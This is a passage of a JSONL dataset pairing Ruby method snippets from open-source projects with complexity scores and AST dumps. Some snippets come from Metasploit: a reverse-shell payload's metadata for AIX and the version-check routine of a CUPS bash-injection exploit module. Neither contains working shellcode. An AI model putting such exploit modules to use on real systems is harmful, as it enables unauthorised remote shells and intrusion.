end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"embedding\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Captain\"]},\"Llm\"]},\"EmbeddingService\"]},\"new\"]},\"get_embedding\",{\"type\":\"lvar\",\"children\":[\"content\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"embedding\"]},{\"type\":\"lvar\",\"children\":[\"embedding\"]}]}]}]}]}]}","id":"f2126a3c-5852-4c66-9578-60c56403e007"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/smb/ui/console.rb","start_line":61,"raw_source":"def interact(&block)\n            # Run queued commands\n            commands.delete_if do |ent|\n              run_single(ent)\n              true\n            end\n\n            # Run the interactive loop\n            run do |line|\n              # Run the command\n              run_single(line)\n\n              # If a block was supplied, call it, otherwise return false\n              if block\n                block.call\n              else\n                false\n              end\n            end\n          end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"interact\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commands\"]},\"delete_if\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ent\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_single\",{\"type\":\"lvar\",\"children\":[\"ent\"]}]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_single\",{\"type\":\"lvar\",\"children\":[\"line\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"7a40ec89-2824-4b6b-b5e8-c5f971a164df"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/repository.rb","start_line":1146,"raw_source":"def list_commits(\n        ref:,\n        query: nil,\n        author: nil,\n        committed_before: nil,\n        committed_after: nil,\n        pagination_params: { page_token: nil, limit: 1000 }\n      )\n        pagination_params[:limit] ||= 1000\n\n        wrapped_gitaly_errors do\n          gitaly_commit_client.list_commits(\n            [ref],\n            author: author,\n            ignore_case: true,\n            commit_message_patterns: query,\n            before: committed_before,\n            after: committed_after,\n            reverse: false,\n            pagination_params: pagination_params\n          )\n        end\n      end","complexity_score":4.9,"ast_json":"{\"type\":\"def\",\"children\":[\"list_commits\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"ref\"]},{\"type\":\"kwoptarg\",\"children\":[\"query\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"author\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"committed_before\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"committed_after\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"pagination_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"page_token\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[1000]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pagination_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"limit\"]}]},{\"type\":\"int\",\"children\":[1000]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wrapped_gitaly_errors\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitaly_commit_client\"]},\"list_commits\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"lvar\",\"children\":[\"author\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ignore_case\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit_message_patterns\"]},{\"type\":\"lvar\",\"children\":[\"query\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"before\"]},{\"type\":\"lvar\",\"children\":[\"committed_before\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"after\"]},{\"type\":\"lvar\",\"children\":[\"committed_after\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pagination_params\"]},{\"type\":\"lvar\",\"children\":[\"pagination_params\"]}]}]}]}]}]}]}","id":"8af80e6f-f80e-4eef-94fb-5df3dee355a3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      merge_info(\n        info,\n        'Name' => 'AIX Command Shell, Reverse TCP Inline',\n        'Description' => 'Connect back to attacker and spawn a command shell',\n        'Author' => 'Ramon de C Valle',\n        'License' => MSF_LICENSE,\n        'Platform' => 'aix',\n        'Arch' => ARCH_PPC,\n        'Handler' => Msf::Handler::ReverseTcp,\n        'Session' => Msf::Sessions::CommandShellUnix,\n        'Payload' => {\n          'Offsets' =>\n                  {\n                    'LHOST' => [ 32, 'ADDR' ],\n                    'LPORT' => [ 30, 'n' ]\n                  }\n        }\n      )\n    )\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"AIX Command Shell, Reverse TCP Inline\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Connect back to attacker and spawn a command shell\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"Ramon de C Valle\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"aix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PPC\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"ReverseTcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Session\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"CommandShellUnix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offsets\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LHOST\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[32]},{\"type\":\"str\",\"children\":[\"ADDR\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LPORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[30]},{\"type\":\"str\",\"children\":[\"n\"]}]}]}]}]}]}]}]}]}]}]}","id":"c172a2ac-ea58-47ae-aca7-03986b586826"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/mailers/user_notifications.rb","start_line":400,"raw_source":"def group_mentioned(user, opts)\n    opts[:allow_reply_by_email] = true\n    opts[:use_site_subject] = true\n    opts[:show_category_in_subject] = true\n    opts[:show_tags_in_subject] = true\n    notification_email(user, opts)\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"group_mentioned\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"allow_reply_by_email\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"use_site_subject\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"show_category_in_subject\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"show_tags_in_subject\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"notification_email\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}","id":"a5fcf7b2-4f2d-4b91-a637-836855645288"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/helpers/application_helper.rb","start_line":162,"raw_source":"def add_resource_preload_list(resource_url, type)\n    links =\n      controller.instance_variable_get(:@asset_preload_links) ||\n        controller.instance_variable_set(:@asset_preload_links, [])\n    links << %Q(<#{resource_url}>; rel=\"preload\"; as=\"#{type}\")\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"add_resource_preload_list\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resource_url\"]},{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"links\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"controller\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@asset_preload_links\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"controller\"]},\"instance_variable_set\",{\"type\":\"sym\",\"children\":[\"@asset_preload_links\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"links\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource_url\"]}]},{\"type\":\"str\",\"children\":[\">; rel=\\\"preload\\\"; as=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]}]}","id":"3179b68e-6f8d-4b4f-9397-b3491301e692"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_compare.rb","start_line":124,"raw_source":"def self.section_to_tag(section)\n    section.to_s[TAG_PREFIX.length..-1]\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"section_to_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"section\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section\"]},\"to_s\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TAG_PREFIX\"]},\"length\"]},{\"type\":\"int\",\"children\":[-1]}]}]}]}","id":"1886f80f-2048-48e5-9412-d2835e380d35"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/db/migrate/20250205133513_rename_billing_plan_id_to_plan_id_in_billing_subscriptions.rb","start_line":2,"raw_source":"def change\n    safety_assured do\n      rename_column :billing_subscriptions, :billing_plan_id, :plan_id\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"rename_column\",{\"type\":\"sym\",\"children\":[\"billing_subscriptions\"]},{\"type\":\"sym\",\"children\":[\"billing_plan_id\"]},{\"type\":\"sym\",\"children\":[\"plan_id\"]}]}]}]}","id":"74205482-7fc5-4dbe-be8a-f10b82f074d0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/dev/msftidy_docs.rb","start_line":286,"raw_source":"def load_file(file)\n    f = open(file, 'rb')\n    @stat = f.stat\n    buf = f.read(@stat.size)\n    f.close\n    return buf\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"load_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"f\",{\"type\":\"send\",\"children\":[null,\"open\",{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@stat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"stat\"]}]},{\"type\":\"lvasgn\",\"children\":[\"buf\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stat\"]},\"size\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"close\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]}]}]}]}","id":"800bc0b9-2170-4b6a-b447-dda2794dae25"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/return_item/eligibility_validator/inventory_shipped.rb","start_line":3,"raw_source":"def eligible_for_return?\n      if @return_item.inventory_unit.shipped?\n        true\n      else\n        add_error(:inventory_unit_shipped, Spree.t('return_item_inventory_unit_ineligible'))\n        false\n      end\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"eligible_for_return?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@return_item\"]},\"inventory_unit\"]},\"shipped?\"]},{\"type\":\"true\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_error\",{\"type\":\"sym\",\"children\":[\"inventory_unit_shipped\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"str\",\"children\":[\"return_item_inventory_unit_ineligible\"]}]}]},{\"type\":\"false\",\"children\":[]}]}]}]}","id":"ce1e6ceb-15fb-463e-a38a-1273503de7db"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/iax2/client.rb","start_line":197,"raw_source":"def create_ie(ie_type, ie_data)\n    [ie_type, ie_data.length].pack('CC') + ie_data\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_ie\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ie_type\"]},{\"type\":\"arg\",\"children\":[\"ie_data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ie_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ie_data\"]},\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"CC\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"ie_data\"]}]}]}","id":"23f3c209-8520-433c-a9ca-60afd0233db4"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/container_manager/orchestration_stack.rb","start_line":55,"raw_source":"def add_provider_object(object)\n    options = {\n      :name              => object[:metadata][:name],\n      :physical_resource => object[:metadata][:namespace],\n      :ems_ref           => object[:metadata][:uid],\n      :start_time        => object[:metadata][:creationTimestamp],\n      :logical_resource  => object[:kind],\n      :resource_category => object[:miq_class],\n      :description       => object[:apiVersion],\n      :resource_status   => 'creating'\n    }\n    options[:resource_status] = 'failed' if object[:kind].blank?\n    OrchestrationStackResource.new(options)\n  end","complexity_score":18.1,"ast_json":"{\"type\":\"def\",\"children\":[\"add_provider_object\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"metadata\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"physical_resource\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"metadata\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"namespace\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ems_ref\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"metadata\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"uid\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"metadata\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"creationTimestamp\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"logical_resource\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"kind\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_category\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"miq_class\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"apiVersion\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_status\"]},{\"type\":\"str\",\"children\":[\"creating\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"kind\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"resource_status\"]},{\"type\":\"str\",\"children\":[\"failed\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OrchestrationStackResource\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"4e95c345-3265-4492-aa17-fa365b7ade8a"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/identical_conditional_branches.rb","start_line":228,"raw_source":"def correct_no_assignment(corrector, node, expression, insert_position)\n          if insert_position == :after_condition\n            corrector.insert_after(node, \"\\n#{expression.source}\")\n          else\n            corrector.insert_before(node, \"#{expression.source}\\n\")\n          end\n        end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"correct_no_assignment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"expression\"]},{\"type\":\"arg\",\"children\":[\"insert_position\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"insert_position\"]},\"==\",{\"type\":\"sym\",\"children\":[\"after_condition\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"insert_after\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expression\"]},\"source\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"insert_before\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expression\"]},\"source\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}","id":"fbd8c534-b764-45b1-bfe7-487688c131ae"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/cups_bash_env_exec.rb","start_line":92,"raw_source":"def check\n    @cookie = rand_text_alphanumeric(16)\n    printer_name = rand_text_alphanumeric(10 + rand(5))\n    res = add_printer(printer_name, '')\n    if !res\n      vprint_error(\"No response from host\")\n      return Exploit::CheckCode::Unknown\n    elsif res.headers['Server'] =~ /CUPS\\/([\\d\\.]+)/\n      vprint_status(\"Found CUPS version #{$1}\")\n    else\n      print_status(\"Target is not a CUPS web server\")\n      return Exploit::CheckCode::Safe\n    end\n    if res.body =~ /Set Default Options for #{printer_name}/\n      vprint_good(\"Added printer successfully\")\n      delete_printer(printer_name)\n    elsif res.code == 401 || (res.code == 426 && datastore['SSL'])\n      vprint_error(\"Authentication failed\")\n    elsif res.code == 426\n      vprint_error(\"SSL required - set SSL true\")\n    end\n    Exploit::CheckCode::Detected\n  end","complexity_score":42.23,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@cookie\",{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"lvasgn\",\"children\":[\"printer_name\",{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[10]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[5]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"add_printer\",{\"type\":\"lvar\",\"children\":[\"printer_name\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"No response from host\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Server\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"CUPS/([\\\\d\\\\.]+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found CUPS version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Target is not a CUPS web server\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Set Default Options for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"printer_name\"]}]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"str\",\"children\":[\"Added printer successfully\"]}]},{\"type\":\"send\",\"children\":[null,\"delete_printer\",{\"type\":\"lvar\",\"children\":[\"printer_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[401]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[426]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SSL\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Authentication failed\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[426]}]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"SSL required - set SSL true\"]}]},null]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]}]}","id":"91f9bf92-a1b6-4c1f-87eb-b234e3516dcb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/nmap_xml.rb","start_line":64,"raw_source":"def reset_state\n    @host = { \"status\" => nil, \"addrs\" => {}, \"ports\" => [], \"scripts\" => {} }\n    @state = nil\n  